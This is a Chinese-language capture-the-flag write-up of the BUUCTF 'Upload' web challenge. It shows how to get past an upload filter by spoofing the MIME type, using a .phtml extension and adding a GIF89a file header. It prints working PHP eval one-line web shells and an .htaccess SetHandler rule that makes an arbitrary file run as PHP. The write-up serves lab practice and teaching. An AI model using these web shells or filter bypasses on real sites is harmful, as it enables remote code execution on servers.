BUUCTF-WEB-Upload[详细wp]
關于文件上傳的題目
首先上傳一句話.php文件,結果顯示not image
<?php @eval($_REQUEST['password']);?>猜測當我們上傳文件的時候,被標識的文件類型被過濾,即嘗試MiMe繞過
MiMe是什么:MIME由一串簡單的字符串組成,初期標識了郵件e-mail的附件的類型,后來在html文件中可以使用content-type屬性表示,描述了這個文件類型的。
MiMe常見的格式
| audio/webm | webm音頻文件格式 |
| audio/ogg | ogg多媒體文件格式的音頻文件 |
| audio/mpeg | mpeg多媒體文件格式的音頻文件 |
| image/gif | gif圖片 |
| image/jpeg | jpeg圖片 |
| image/png | png圖片 |
| image/svg+xml | svg矢量圖片 |
| application/json | json格式 |
開啟burpsuite,抓取數據表
點擊repeater,修改Content-Type后的內容(這里是改為image/png)?
重放后發現被檢測出php后綴,更改后綴
嘗試了很多種,php2,php3,Php統統被過濾,這里使用雙寫繞過
結果直接過濾文件內一句話的<
嘗試利用文件頭檢查繞過
文件頭、文件頭檢測是什么?文件頭就是描述一個文件的一些重要的屬性,它告訴了打開并運行該文件的程序這個文件的文件類型是什么,文件頭檢測是指當瀏覽器上傳到服務器的時候,白名單會進行的文件頭檢測,符合的話允許上傳,否則不允許上傳。
一句話變為:
GIF89a <?php @eval($_REQUEST['password']);?>?
依舊沒有繞過。。。
無法更改<,就換一種方式提交一句話
使用phtml后綴的文件繞過,并且更改一句話木馬
什么是phtml?在嵌入了php腳本的html中,使用 phtml作為后綴名,web服務器會用php解釋器進行解析
Gif89a <script language='php'>@eval($_POST['ganyu']);</script>上傳成功,使用蟻劍連接,猜測文件地址為/upload/1.phtml,密碼是ganyu
flag:flag{d2f7fa2a-507f-498c-8af9-52219201fffd}
方法二
使用.htaccess方法
全稱Hypertext Access(超文本入口),通過.htaccess文件,可以幫我們實現用戶重定向、自定義錯誤頁面、更改擴展名、以及使用其他文件作為index文件等等,如果一個web應用允許上傳.htaccess文件,那就意味著,攻擊者可以利用這個漏洞進行更改Apache的配置
編寫一個.htaccess文件
<FilesMatch "ganyu"> SetHandler application/x-httpd-php//將后面的文件全部解析成php執行 </FilesMatch>上傳.htaccess文件 ?
上傳完之后,再回上傳主頁面,再上傳一個沒有后綴并且文件名為ganyu的文件,注意:上傳的文件名取決于你上傳的htaccess內寫的內容。這里上傳后要,再將后綴改為.phtml
連接成功,得到flag
總結
以上是生活随笔為你收集整理的BUUCTF-WEB-Upload[详细wp]的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小程序canvas生成海报 字体在背景图
- 下一篇: 由 method may be stat